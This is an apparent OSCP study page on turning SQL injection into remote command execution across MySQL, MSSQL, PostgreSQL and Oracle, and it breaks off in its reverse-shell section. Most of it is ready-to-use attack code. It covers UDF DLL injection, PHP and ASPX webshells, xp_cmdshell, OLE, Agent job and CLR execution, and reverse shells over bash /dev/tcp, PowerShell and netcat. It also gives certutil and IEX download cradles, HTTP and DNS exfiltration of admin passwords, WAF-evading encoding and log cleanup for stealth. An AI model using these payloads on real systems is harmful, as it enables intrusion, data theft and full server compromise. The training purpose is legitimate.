Domain 2Web App AttacksCORE

Command Execution via SQLi

Advanced techniques for achieving remote command execution through SQL injection including UDF injection, xp_cmdshell, webshell deployment, log file manipulation, and reverse shell techniques across all major databases.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#RCE#xp_cmdshell#UDF#Reverse Shell#OS Shell

Command Execution via SQLi

Table of Contents

  1. Introduction
  2. MySQL Command Execution
  3. MSSQL Command Execution
  4. PostgreSQL Command Execution
  5. Oracle Command Execution
  6. Reverse Shell Payloads
  7. Comparison Table
  8. Complete Escalation Path
  9. Lab Practice Checklist

Introduction

Command execution via SQL injection represents one of the most critical attack vectors in penetration testing. When a SQL injection vulnerability exists, it may be possible to escalate from database-level access to full operating system command execution — effectively achieving Remote Code Execution (RCE).

Why This Matters for OSCP

  • OSCP grading requirement: Achieving system-level access (user.txt / root.txt or proof.txt) often requires escalating from web/database to OS shell
  • Real-world relevance: Many production breaches start with SQLi and escalate to full system compromise
  • Multiple databases: Each RDBMS has unique features that can be abused for command execution

Prerequisites

Before attempting command execution via SQLi, you must:

  1. Confirm the SQL injection vulnerability exists
  2. Determine the database type and version
  3. Assess your privilege level within the database
  4. Understand the file system layout and web root location
  5. Have a listener ready (for reverse shell techniques)

Database Fingerprinting Quick Reference

-- MySQL
SELECT VERSION();
SELECT @@version;
SELECT @@basedir;          -- MySQL installation directory
SELECT @@datadir;          -- Data directory
SELECT @@general_log_file; -- Current general log path
SELECT @@secure_file_priv; -- Restriction on file operations

-- MSSQL
SELECT @@VERSION;
SELECT SERVERPROPERTY('ProductVersion');

-- PostgreSQL
SELECT version();

-- Oracle
SELECT * FROM v$version;
SELECT banner FROM v$version;

MySQL Command Execution

MySQL offers several paths to command execution, each with different privilege requirements and complexity levels.

UDF (User Defined Function) Injection

Privilege Required: FILE privilege on the database server Difficulty: Medium-High Reliability: High (when conditions are met)

What is a UDF?

A User Defined Function (UDF) is a shared library (.dll on Windows, .so on Linux) that can be loaded into MySQL to extend its functionality. If you can write a malicious shared library to MySQL’s plugin directory and register it as a function, you can execute arbitrary OS commands.

Step-by-Step UDF Injection

Step 1: Determine MySQL Architecture and Plugin Directory
-- Find the plugin directory
SELECT @@plugin_dir;

-- Find the data directory
SELECT @@datadir;

-- Check architecture (32-bit vs 64-bit matters for DLL compatibility)
SELECT VERSION();
Step 2: Write the UDF Library to Disk

The UDF library must match the MySQL server’s architecture (32-bit or 64-bit). Pre-compiled UDF libraries are available from projects like lib_mysqludf_sys.

On Windows — Write DLL byte-by-byte using hex encoding:

-- Method A: Write the DLL using hex data (for small payloads)
-- First, convert your DLL to hex:
-- certutil -f -encodehex lib_mysqludf_sys.dll lib_mysqludf_sys.hex 0x100

-- Then write it chunk by chunk:
SELECT 0x4D5A90000300000004000000FFFF ... INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\udf.dll';

-- Method B: Use INTO OUTFILE with hex (chunked approach)
SELECT UNHEX('4D5A90000300000004000000FFFF...') INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\udf.dll';

On Linux — Write SO file:

-- Convert .so to hex first:
-- xxd -p -c 256 lib_mysqludf_sys.so > lib_mysqludf_sys.hex

-- Write to plugin directory:
SELECT UNHEX('7F454C46020101000000000000000000...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

Important: Use INTO DUMPFILE (not INTO OUTFILE) because DUMPFILE writes the entire result as a single binary blob, while OUTFILE adds newlines and escapes.

Step 3: Create the Function in MySQL

Once the library is in place, register the functions:

-- Windows
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.dll';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
CREATE FUNCTION sys_connect_url RETURNS STRING SONAME 'udf.dll';

-- Linux
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
CREATE FUNCTION sys_connect_url RETURNS STRING SONAME 'udf.so';

The three most useful functions:

Function Return Type Purpose
sys_exec INTEGER Execute a command (returns exit code)
sys_eval STRING Execute a command and return output
sys_connect_url STRING Make HTTP request to URL (for data exfiltration)
Step 4: Execute Commands
-- Execute a command (no output returned)
SELECT sys_exec('whoami');

-- Execute and capture output
SELECT sys_eval('whoami');

-- Reverse shell
SELECT sys_exec('powershell -nop -exec bypass -c "$c=New-Object Net.Sockets.TCPClient(\"10.10.14.X\",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$p=(iex $d 2>&1 | Out-String);$r=[Text.Encoding]::ASCII.GetBytes($p);$s.Write($r,0,$r.Length);$s.Flush()}};$c.Close()"');

-- Linux reverse shell
SELECT sys_exec('bash -i >& /dev/tcp/10.10.14.X/443 0>&1');
Step 5: Cleanup
DROP FUNCTION sys_exec;
DROP FUNCTION sys_eval;
DROP FUNCTION sys_connect_url;

-- Also delete the DLL/SO file if possible (may need OS access)

Alternative UDF Libraries

Library Functions Provided Notes
lib_mysqludf_sys sys_exec, sys_eval, sys_connect_url Most popular, well-documented
udf_example do_system Simpler, single function
myudf Various Less common

Download locations (for lab prep):

  • GitHub: lib_mysqludf_sys — pre-compiled binaries for Windows and Linux
  • Always match the architecture (32/64-bit) to the target MySQL server

UDF Injection via Error-Based Method (No FILE Privilege)

If you don’t have FILE privilege but can trigger errors, you may be able to write the UDF through error messages in certain MySQL versions. This is version-specific and less reliable.

Two-Byte UDF Technique (Windows, Older MySQL)

On older MySQL versions (5.x on Windows), a minimal 2-byte DLL can sometimes be sufficient:

-- Write minimal DLL (architecture-specific bytes)
SELECT 0x12345678... INTO DUMPFILE 'C:\\...\\plugin\\udf.dll';

-- The DLL only needs to export the function stub
-- Pre-compiled minimal DLLs are available in exploit kits

INTO OUTFILE Webshell Method

Privilege Required: FILE privilege Difficulty: Low-Medium Reliability: High (when web root is writable)

This is often the easiest and most reliable method when conditions are met. You write a PHP webshell directly into the web server’s document root using SQL’s INTO OUTFILE.

Prerequisites Check

-- Check if FILE privilege exists
SHOW GRANTS;

-- Check secure_file_priv (if not NULL/empty, file writes are restricted)
SELECT @@secure_file_priv;

-- If secure_file_priv = '/var/lib/mysql-files/', you can ONLY write there
-- If secure_file_priv = '' or NULL, you can write anywhere the MySQL user has OS access

PHP Reverse Shell Payload

-- Basic PHP reverse shell
SELECT '<?php system("bash -i >& /dev/tcp/10.10.14.X/443 0>&1"); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP reverse shell with exec (more compatible)
SELECT '<?php exec("bash -c \"bash -i >& /dev/tcp/10.10.14.X/443 0>&1\""); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP reverse shell using proc_open (bypasses some restrictions)
SELECT '<?php $p=proc_open("bash -i",array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")),$pipes);stream_copy_to_stream($pipes[1],fsockopen("10.10.14.X",443));stream_copy_to_stream($pipes[2],fsockopen("10.10.14.X",443));stream_copy_to_stream(fsockopen("10.10.14.X",443),$pipes[0]); ?>' INTO OUTFILE '/var/www/html/shell.php';

PHP Command Execution Payload (Interactive)

-- Simple command execution form
SELECT '<?php if(isset($_REQUEST["cmd"])){$cmd=$_REQUEST["cmd"];system($cmd);} ?>' INTO OUTFILE '/var/www/html/shell.php';

-- With output display
SELECT '<?php if(isset($_REQUEST["cmd"])){$cmd=$_REQUEST["cmd"];echo "<pre>";system($cmd);echo "</pre>";} ?>' INTO OUTFILE '/var/www/html/shell.php';

-- passthru variant
SELECT '<?php if(isset($_REQUEST["cmd"])){passthru($_REQUEST["cmd"]);} ?>' INTO OUTFILE '/var/www/html/shell.php';

-- shell_exec variant (returns output as string)
SELECT '<?php if(isset($_REQUEST["cmd"])){echo shell_exec($_REQUEST["cmd"]);} ?>' INTO OUTFILE '/var/www/html/shell.php';

PHP Webshell with Base64 Encoding (Evasion)

-- Base64-encoded payload to avoid WAF detection
-- Original: <?php system($_GET['cmd']); ?>
-- Base64: PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

SELECT '<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>' INTO OUTFILE '/var/www/html/shell.php';

Accessing the Deployed Shell

# For command execution shell:
curl http://target.com/shell.php?cmd=id
curl http://target.com/shell.php?cmd=whoami
curl http://target.com/shell.php?cmd="cat /etc/passwd"

# For reverse shell, just access the page:
curl http://target.com/shell.php

# Or use browser to visit:
http://target.com/shell.php

Common Web Root Paths

Linux:
/var/www/html/
/var/www/html/index.php
/var/www/
/home/<user>/public_html/
/srv/www/htdocs/

Windows:
C:\inetpub\wwwroot\
C:\xampp\htdocs\
C:\wamp64\www\

Troubleshooting

-- If you get "The MySQL server is running with the --secure-file-priv option"
-- Check the allowed directory:
SELECT @@secure_file_priv;

-- If it returns a specific path, write there instead:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/lib/mysql-files/shell.php';

-- Then you may need to symlink or copy the file to the web root via another method

General Log File Technique

Privilege Required: SUPER or SYSTEM_VARIABLES_ADMIN privilege Difficulty: Medium Reliability: High (when privilege is available)

This technique abuses MySQL’s general query log to write arbitrary content (including PHP code) to a file of your choosing.

Step-by-Step

Step 1: Set the General Log File Path to Web Directory
-- Set the log file to a PHP file in the web root
SET GLOBAL general_log_file = '/var/www/html/shell.php';

-- Windows example:
SET GLOBAL general_log_file = 'C:\\inetpub\\wwwroot\\shell.php';
Step 2: Enable General Logging
SET GLOBAL general_log = 'ON';
Step 3: Write PHP Code via the Log

Every query you execute will be logged to the file. Craft your payload:

-- This query gets logged as-is to shell.php
SELECT '<?php system($_GET["cmd"]); ?>';

-- For a reverse shell:
SELECT '<?php system("bash -i >& /dev/tcp/10.10.14.X/443 0>&1"); ?>';

The log file will now contain:

2026-09-01T12:00:00.000000Z    1234 Query    SELECT '<?php system($_GET["cmd"]); ?>'
Step 4: Clean Up
-- Disable general logging
SET GLOBAL general_log = 'OFF';

-- Reset log file path (optional, for stealth)
SET GLOBAL general_log_file = '/var/log/mysql/mysql.log';
Step 5: Access the Shell
curl "http://target.com/shell.php?cmd=id"

Important Notes

  • The log file includes timestamps and query prefixes, so your PHP code will be embedded within log formatting
  • You may need to use /* */ comments or carefully craft the payload to ensure valid PHP
  • The file is appended to, not overwritten — existing content remains
  • On some MySQL versions, you may need to truncate the file first

Advanced: Writing Clean PHP via Log

-- First write the opening PHP tag
SELECT '><?php system($_GET["cmd"]); ?>';

-- The log entry will look like:
-- 2026-09-01T12:00:00Z  1234 Query  SELECT '><?php system($_GET["cmd"]); ?>'
-- The ?> at the start closes any previous PHP, then <?php opens new PHP context

INTO DUMPFILE Technique

Privilege Required: FILE privilege Difficulty: Low Reliability: High

Similar to INTO OUTFILE but writes the entire result set as a single binary blob without escaping or newlines. Better for binary data (like DLLs) but also works for webshells.

Key Differences from INTO OUTFILE

Feature INTO OUTFILE INTO DUMPFILE
Output format Text with newlines Raw binary
Multiple rows Supported Single row only
Escaping Yes (CSV-style) No
Best for Text/webshells Binary/DLLs

Usage

-- Write a PHP webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';

-- Write a DLL for UDF injection
SELECT UNHEX('4D5A900003000000...') INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\udf.dll';

When to Use DUMPFILE Over OUTFILE

  1. Writing binary files (DLLs, SOs, executables)
  2. When you need exact byte-level control
  3. When OUTFILE escaping interferes with your payload

MSSQL Command Execution

MSSQL is arguably the easiest database to achieve command execution from, thanks to xp_cmdshell — a built-in extended stored procedure that directly executes OS commands.

xp_cmdshell

Privilege Required: sysadmin role (or ALTER SETTINGS + sysadmin to enable) Difficulty: Low Reliability: Very High

What is xp_cmdshell?

xp_cmdshell is an extended stored procedure in MSSQL that executes operating system commands and returns output. It was disabled by default starting with SQL Server 2005 (SP2) for security reasons, but can often be re-enabled.

Enabling xp_cmdshell

-- Step 1: Enable advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- Step 2: Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Verify it's enabled
EXEC sp_configure 'xp_cmdshell';

If you get a permission error, you need sysadmin privileges. Check your role:

-- Check if you are a sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- Returns 1 = yes, 0 = no, NULL = error

Executing Commands

-- Basic command execution
EXEC xp_cmdshell 'whoami';

-- List directory
EXEC xp_cmdshell 'dir C:\';

-- Check OS info
EXEC xp_cmdshell 'systeminfo';

-- Check network configuration
EXEC xp_cmdshell 'ipconfig /all';

-- Check running processes
EXEC xp_cmdshell 'tasklist';

-- Check installed software
EXEC xp_cmdshell 'wmic product get name,version';

Capturing Output to a Table

When you need to process or store command output:

-- Create a table to store output
CREATE TABLE cmd_output (output_text VARCHAR(MAX));

-- Insert command output into the table
INSERT INTO cmd_output EXEC xp_cmdshell 'whoami';

-- Query the results
SELECT * FROM cmd_output;

-- For more complex commands:
INSERT INTO cmd_output EXEC xp_cmdshell 'net user';
INSERT INTO cmd_output EXEC xp_cmdshell 'net localgroup administrators';

-- Cleanup
DROP TABLE cmd_output;

Reverse Shell via PowerShell

-- PowerShell reverse shell (one-liner)
EXEC xp_cmdshell 'powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient(\"10.10.14.X\",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

-- Simpler PowerShell reverse shell
EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.X/Invoke-PowerShellTcpOneReverse.ps1\")"';

-- PowerShell download and execute
EXEC xp_cmdshell 'powershell -nop -exec bypass -c "Invoke-WebRequest -Uri http://10.10.14.X/reverse.ps1 -OutFile C:\\Windows\\Temp\\r.ps1; powershell -exec bypass -f C:\\Windows\\Temp\\r.ps1"';

Reverse Shell via CMD

-- CMD reverse shell using PowerShell (embedded)
EXEC xp_cmdshell 'powershell -nop -c "$c=new-object net.webclient;$c.proxy=[Net.WebRequest]::GetSystemWebProxy();$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $c.downloadstring(\"http://10.10.14.X/Invoke-PowerShellTcpOneReverse.ps1\")"';

-- Using certutil to download a binary
EXEC xp_cmdshell 'certutil -urlcache -split -f http://10.10.14.X/nc64.exe C:\\Windows\\Temp\\nc.exe';
EXEC xp_cmdshell 'C:\\Windows\\Temp\\nc.exe -e cmd.exe 10.10.14.X 443';

Bypassing xp_cmdshell Restrictions

If xp_cmdshell is available but commands are being filtered:

-- Use alternate command interpreters
EXEC xp_cmdshell 'cmd /c whoami';
EXEC xp_cmdshell 'powershell whoami';

-- Use wscript.shell
EXEC xp_cmdshell 'cscript.exe //E:jscript //Nologo C:\\path\\to\\script.js';

-- Use mshta for download cradle
EXEC xp_cmdshell 'mshta vbscript:CreateObject("Wscript.Shell").Exec("cmd /c whoami")(window.close)';

xp_cmdshell via SQL Injection Context

When injecting through a web application:

-- If the injection point is in a SELECT context, use stacked queries:
1'; EXEC xp_cmdshell 'whoami'; --

-- If stacked queries are not supported, use error-based or other techniques
-- to trigger the execution indirectly

OLE Automation Procedures

Privilege Required: sysadmin role Difficulty: Medium Reliability: High

When xp_cmdshell is unavailable or disabled, OLE Automation Procedures provide an alternative path to command execution.

Enabling OLE Automation

-- Enable advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- Enable OLE Automation Procedures
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

File System Operations

-- Declare variables
DECLARE @OLEResult INT;
DECLARE @FileSystem INT;
DECLARE @FileHandle INT;
DECLARE @ObjectToken INT;

-- Create the Scripting.FileSystemObject
EXEC @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FileSystem OUT;

-- Create a text file
EXEC @OLEResult = sp_OAMethod @FileSystem, 'CreateTextFile', @FileHandle OUT, 'C:\\Windows\\Temp\\test.txt', 1, 0;

-- Write to the file
EXEC @OLEResult = sp_OAMethod @FileHandle, 'WriteLine', NULL, 'Hello from MSSQL!';

-- Close the file
EXEC @OLEResult = sp_OAMethod @FileHandle, 'Close';

-- Clean up
EXEC sp_OADestroy @FileHandle;
EXEC sp_OADestroy @FileSystem;

Command Execution via OLE

-- Using WScript.Shell
DECLARE @OLEResult INT;
DECLARE @Shell INT;
DECLARE @Exec INT;
DECLARE @StdOut INT;
DECLARE @Output VARCHAR(4000);

-- Create WScript.Shell object
EXEC @OLEResult = sp_OACreate 'WScript.Shell', @Shell OUT;

-- Execute a command
EXEC @OLEResult = sp_OAMethod @Shell, 'Exec', @Exec OUT, 'cmd.exe /c whoami';

-- Get standard output
EXEC @OLEResult = sp_OAGetProperty @Exec, 'StdOut', @StdOut OUT;

-- Read output
EXEC @OLEResult = sp_OAMethod @StdOut, 'ReadAll', @Output OUT;

-- Print the output
PRINT @Output;

-- Clean up
EXEC sp_OADestroy @StdOut;
EXEC sp_OADestroy @Exec;
EXEC sp_OADestroy @Shell;

Writing a Webshell via OLE

DECLARE @OLEResult INT;
DECLARE @FSO INT;
DECLARE @File INT;

EXEC sp_OACreate 'Scripting.FileSystemObject', @FSO OUT;
EXEC sp_OAMethod @FSO, 'CreateTextFile', @File OUT, 'C:\\inetpub\\wwwroot\\shell.aspx', 1, 0;
EXEC sp_OAMethod @File, 'WriteLine', NULL, '<%@ Page Language="C#" %>';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '<% Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c whoami").StandardOutput.ReadToEnd()); %>';
EXEC sp_OAMethod @File, 'Close';

EXEC sp_OADestroy @File;
EXEC sp_OADestroy @FSO;

ASPX Webshell Payload

-- Full ASPX webshell
EXEC sp_OAMethod @File, 'WriteLine', NULL, '<%@ Page Language="C#" ValidateRequest="false" %>';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '<%';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '    if(Request["cmd"] != null) {';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        var p = new System.Diagnostics.Process();';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        p.StartInfo.FileName = "cmd.exe";';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        p.StartInfo.Arguments = "/c " + Request["cmd"];';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        p.StartInfo.RedirectStandardOutput = true;';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        p.StartInfo.UseShellExecute = false;';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        p.Start();';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '        Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '    }';
EXEC sp_OAMethod @File, 'WriteLine', NULL, '%>';

Agent Job Method

Privilege Required: sysadmin role (or membership in SQLAgentOperatorRole) Difficulty: Medium-High Reliability: Medium (requires SQL Agent to be running)

SQL Server Agent can be abused to execute operating system commands via job steps.

Creating a Job for Command Execution

-- Create a new job
EXEC msdb.dbo.sp_add_job
    @job_name = 'CommandExecution',
    @enabled = 1,
    @description = 'Execute OS commands';

-- Add a job step that runs a command
EXEC msdb.dbo.sp_add_jobstep
    @job_name = 'CommandExecution',
    @step_name = 'RunCommand',
    @subsystem = 'CMDEXEC',
    @command = 'whoami > C:\Windows\Temp\output.txt',
    @on_success_action = 1;

-- Add the job to a schedule (or run immediately)
EXEC msdb.dbo.sp_add_jobschedule
    @job_name = 'CommandExecution',
    @name = 'RunOnce',
    @freq_type = 1;  -- One time

-- Start the job
EXEC msdb.dbo.sp_start_job @job_name = 'CommandExecution';

-- Check job status
SELECT * FROM msdb.dbo.sysjobs WHERE name = 'CommandExecution';
SELECT * FROM msdb.dbo.sysjobhistory WHERE job_id = (SELECT job_id FROM msdb.dbo.sysjobs WHERE name = 'CommandExecution');

-- Cleanup
EXEC msdb.dbo.sp_delete_job @job_name = 'CommandExecution';

Reverse Shell via Agent Job

EXEC msdb.dbo.sp_add_jobstep
    @job_name = 'CommandExecution',
    @step_name = 'ReverseShell',
    @subsystem = 'CMDEXEC',
    @command = 'powershell -nop -exec bypass -c "$c=New-Object Net.Sockets.TCPClient(\"10.10.14.X\",443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$p=(iex $d 2>&1 | Out-String);$r=[Text.Encoding]::ASCII.GetBytes($p);$s.Write($r,0,$r.Length);$s.Flush()}};$c.Close()"',
    @on_success_action = 1;

EXEC msdb.dbo.sp_start_job @job_name = 'CommandExecution';

CLR Assembly Method

Privilege Required: sysadmin role + TRUSTWORTHY database property Difficulty: High Reliability: Medium (complex setup)

CLR (Common Language Runtime) integration allows .NET assemblies to be loaded into SQL Server. This can be used to create custom stored procedures that execute OS commands.

Prerequisites

-- Enable CLR integration
EXEC sp_configure 'clr enabled', 1;
RECONFIGURE;

-- Set database trustworthiness
ALTER DATABASE [YourDatabase] SET TRUSTWORTHY ON;

Creating a CLR Assembly for Command Execution

This requires pre-compiling a .NET assembly. Here is the C# code for a command execution assembly:

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
using System.IO;

public partial class Procedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void CmdExec(string cmd)
    {
        Process p = new Process();
        p.StartInfo.FileName = "cmd.exe";
        p.StartInfo.Arguments = "/c " + cmd;
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;
        p.StartInfo.RedirectStandardError = true;
        p.Start();
        p.WaitForExit();

        string output = p.StandardOutput.ReadToEnd();
        SqlContext.Pipe.Send(output);
    }
};

Compile with:

csc /target:library /out:CmdExec.dll CmdExec.cs

Deploying the Assembly

-- Create the assembly from the DLL file
CREATE ASSEMBLY CmdExecAssembly
FROM 'C:\path\to\CmdExec.dll'
WITH PERMISSION_SET = UNSAFE;

-- Create the stored procedure wrapper
CREATE PROCEDURE dbo.CmdExec
    @cmd NVARCHAR(MAX)
AS EXTERNAL NAME CmdExecAssembly.Procedures.CmdExec;

-- Execute commands
EXEC dbo.CmdExec 'whoami';
EXEC dbo.CmdExec 'net user';

-- Cleanup
DROP PROCEDURE dbo.CmdExec;
DROP ASSEMBLY CmdExecAssembly;

Alternative: Using Existing CLR Capabilities

If CLR is already enabled and you have assemblies loaded, check what’s available:

-- List existing assemblies
SELECT * FROM sys.assemblies;
SELECT * FROM sys.assembly_modules;

-- Check for any existing CLR procedures
SELECT * FROM sys.procedures WHERE uses_ansi_nulls = 1;

PostgreSQL Command Execution

PostgreSQL has more limited direct command execution capabilities compared to MySQL and MSSQL. However, several techniques exist depending on configuration and privileges.

pg_ls_dir for Directory Listing

Privilege Required: Superuser or specific function access Difficulty: Low Reliability: High (for reconnaissance)

-- List files in a directory
SELECT pg_ls_dir('.');
SELECT pg_ls_dir('/etc/');
SELECT pg_ls_dir('/var/www/');

-- This is useful for reconnaissance before attempting file write techniques

COPY TO for File Write

Privilege Required: Superuser or table owner with appropriate permissions Difficulty: Medium Reliability: Medium

-- Create a table with malicious content
CREATE TABLE webshell (content TEXT);
INSERT INTO webshell VALUES ('<?php system($_GET["cmd"]); ?>');

-- Write to a file using COPY TO
COPY (SELECT content FROM webshell) TO '/var/www/html/shell.php';

-- Cleanup
DROP TABLE webshell;

COPY FROM for File Read

-- Read a file into a table
CREATE TABLE file_read (content TEXT);
COPY file_read FROM '/etc/passwd';
SELECT * FROM file_read;
DROP TABLE file_read;

Privilege Required: Superuser (to create extensions) Difficulty: Medium-High Reliability: Medium

The dblink extension can be used to connect to other databases, and in some configurations, can be abused for command execution.

-- Create the dblink extension (requires superuser)
CREATE EXTENSION dblink;

-- Connect to another database
SELECT dblink_connect('myconn', 'host=127.0.0.1 dbname=postgres user=postgres password=password');

-- Execute queries on the remote database
SELECT * FROM dblink('myconn', 'SELECT version()') AS t(version text);

-- Disconnect
SELECT dblink_disconnect('myconn');

Limited RCE Capabilities Explanation

PostgreSQL’s design philosophy emphasizes security, so direct OS command execution is intentionally limited:

Method RCE Capability Privilege Required
COPY TO/FROM File read/write only Superuser
pg_ls_dir Directory listing only Superuser
pg_read_file File read only Superuser
pg_copy_file File copy only Superuser
dblink Database connections Superuser
lo_import / lo_export Large object file ops Superuser

Key Takeaway: PostgreSQL SQLi rarely leads directly to OS command execution. The typical path is:

  1. SQLi → Data exfiltration / privilege escalation within PostgreSQL
  2. Obtain superuser credentials
  3. Use COPY TO to write a webshell
  4. Access the webshell for OS command execution

Large Object Functions

-- Import a file into a large object
SELECT lo_import('/etc/passwd');

-- Export a large object to a file
SELECT lo_export(large_object_oid, '/tmp/exported.txt');

-- These can be used for file read/write but not direct command execution

Oracle Command Execution

Oracle provides several packages that can be abused for command execution, though they typically require elevated privileges.

DBMS_SCHEDULER Job Creation

Privilege Required: CREATE JOB privilege or SCHEDULER_ADMIN role Difficulty: Medium-High Reliability: Medium

-- Create a job that executes an OS command
BEGIN
    DBMS_SCHEDULER.CREATE_JOB (
        job_name        => 'CMD_EXEC',
        job_type        => 'EXECUTABLE',
        job_action      => '/bin/bash',
        number_of_arguments => 2,
        repeat_interval => 'FREQ=MINUTELY;INTERVAL=1',
        enabled         => TRUE
    );
    
    DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('CMD_EXEC', 1, '-c');
    DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('CMD_EXEC', 2, 'bash -i >& /dev/tcp/10.10.14.X/443 0>&1');
END;
/

-- Check job status
SELECT * FROM USER_SCHEDULER_JOBS WHERE job_name = 'CMD_EXEC';

-- Drop the job
BEGIN
    DBMS_SCHEDULER.DROP_JOB('CMD_EXEC');
END;
/

Java-Based Execution

Privilege Required: JAVAUSERPRIV or JAVASYSPRIV privilege Difficulty: High Reliability: Medium

Oracle includes a Java VM that can be used to execute OS commands.

-- Create a Java source that executes commands
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CmdExec" AS
import java.lang.*;
import java.io.*;

public class CmdExec {
    public static void execCommand(String cmd) throws IOException {
        Runtime.getRuntime().exec(cmd);
    }
};
/

-- Create a PL/SQL wrapper
CREATE OR REPLACE PROCEDURE run_cmd(cmd IN VARCHAR2) AS
LANGUAGE JAVA NAME 'CmdExec.execCommand(java.lang.String)';
/

-- Grant execute permission
GRANT EXECUTE ON run_cmd TO PUBLIC;

-- Execute a command
BEGIN
    run_cmd('bash -c "bash -i >& /dev/tcp/10.10.14.X/443 0>&1"');
END;
/

-- Cleanup
DROP PROCEDURE run_cmd;
DROP JAVA SOURCE "CmdExec";

UTL_HTTP for Outbound Connections

Privilege Required: Execute privilege on UTL_HTTP Difficulty: Low Reliability: High (for data exfiltration / blind RCE confirmation)

-- Make an HTTP request (useful for data exfiltration)
DECLARE
    req  UTL_HTTP.REQ;
    resp UTL_HTTP.RESP;
BEGIN
    req := UTL_HTTP.BEGIN_REQUEST('http://10.10.14.X:8080/' || (SELECT password FROM users WHERE username = 'admin'), 'GET');
    resp := UTL_HTTP.GET_RESPONSE(req);
    UTL_HTTP.END_RESPONSE(resp);
END;
/

-- This can confirm blind SQLi and exfiltrate data
-- Set up a listener on your machine:
-- python3 -m http.server 8080

UTL_INADDR for DNS Exfiltration

-- DNS-based data exfiltration
DECLARE
    ip VARCHAR2(255);
BEGIN
    SELECT (SELECT password FROM users WHERE username = 'admin') INTO ip FROM dual;
    UTL_INADDR.GET_HOST_ADDRESS(ip || '.attacker.com');
END;
/

Reverse Shell Payloads

Having reverse shell payloads ready is essential for OSCP. Below are the most commonly used payloads, organized by language and use case.

Bash Reverse Shell

# Basic bash reverse shell
bash -i >& /dev/tcp/10.10.14.X/443 0>&1

# Alternative syntax
bash -i > /dev/tcp/10.10.14.X/443 0<&1 2>&1

# With exec (more reliable)
exec 5<>/dev/tcp/10.10.14.X/443
cat <&5 | while read line; do $line 2>&5 >&5; done

# Using /bin/bash explicitly
/bin/bash -i >& /dev/tcp/10.10.14.X/443 0>&1

PowerShell Reverse Shell

# Full interactive reverse shell
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.X",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String);
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

# One-liner version (for xp_cmdshell)
